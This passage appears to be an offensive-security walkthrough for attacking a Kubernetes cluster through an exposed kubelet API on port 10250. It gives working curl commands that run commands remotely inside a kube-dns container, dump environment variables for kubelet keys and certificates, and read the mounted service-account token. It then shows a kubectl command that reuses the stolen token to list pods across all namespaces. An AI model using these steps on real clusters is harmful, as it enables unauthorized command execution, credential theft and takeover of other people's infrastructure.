Output: total 35264 drwxr-xr-x 1 root root 4096 Nov 9 16:27 . drwxr-xr-x 1 root root 4096 Nov 9 16:27 .. -rwxr-xr-x 1 root root 0 Nov 9 16:27 .dockerenv drwxr-xr-x 2 root root 4096 Nov 9 16:27 bin drwxr-xr-x 5 root root 380 Nov 9 16:27 dev -rwxr-xr-x 1 root root 36047205 Apr 13 2018 dnsmasq-nanny drwxr-xr-x 1 root root 4096 Nov 9 16:27 etc drwxr-xr-x 2 root root 4096 Jan 9 2018 home drwxr-xr-x 5 root root 4096 Nov 9 16:27 lib drwxr-xr-x 5 root root 4096 Nov 9 16:27 media drwxr-xr-x 2 root root 4096 Jan 9 2018 mnt dr-xr-xr-x 134 root root 0 Nov 9 16:27 proc drwx------ 2 root root 4096 Jan 9 2018 root drwxr-xr-x 2 root root 4096 Jan 9 2018 run drwxr-xr-x 2 root root 4096 Nov 9 16:27 sbin drwxr-xr-x 2 root root 4096 Jan 9 2018 srv dr-xr-xr-x 12 root root 0 Dec 19 19:06 sys drwxrwxrwt 1 root root 4096 Nov 9 17:00 tmp drwxr-xr-x 7 root root 4096 Nov 9 16:27 usr drwxr-xr-x 1 root root 4096 Nov 9 16:27 var
Check the env and see if the kublet tokens are in the environment variables. depending on the cloud provider or hosting provider they are sometimes right there. Otherwise we need to retrieve them from: 1. the mounted folder 2. the cloud metadata url
Check the env with the following command:
curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=env" We are looking for the KUBLET_CERT, KUBLET_KEY, & CA_CERT environment variables.
We are also looking for the kubernetes API server. This is most likely NOT the host you are messing with on 10250. We are looking for something like:
KUBERNETES_PORT=tcp://10.10.10.10:443
or
KUBERNETES_MASTER_NAME: 10.11.12.13:443
Once we get the kubernetes tokens or keys we need to talk to the API server to use them. The kublet (10250) wont know what to do with them. This may be (if we are lucky) another public IP or a 10. IP. If it's a 10. IP we need to download kubectl to the pod.
Assuming it's not in the environment variables let's look and see if they are there in the mounted secrets
curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token" output: eyJhbGciOiJSUzI1NiI---SNIP--- Also grab the ca.crt :-) With the token, ca.crt and api server IP address we can issue commands with kubectl.
$ kubectl --server=https://1.2.3.4 --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiI---SNIP--- get pods --all-namespaces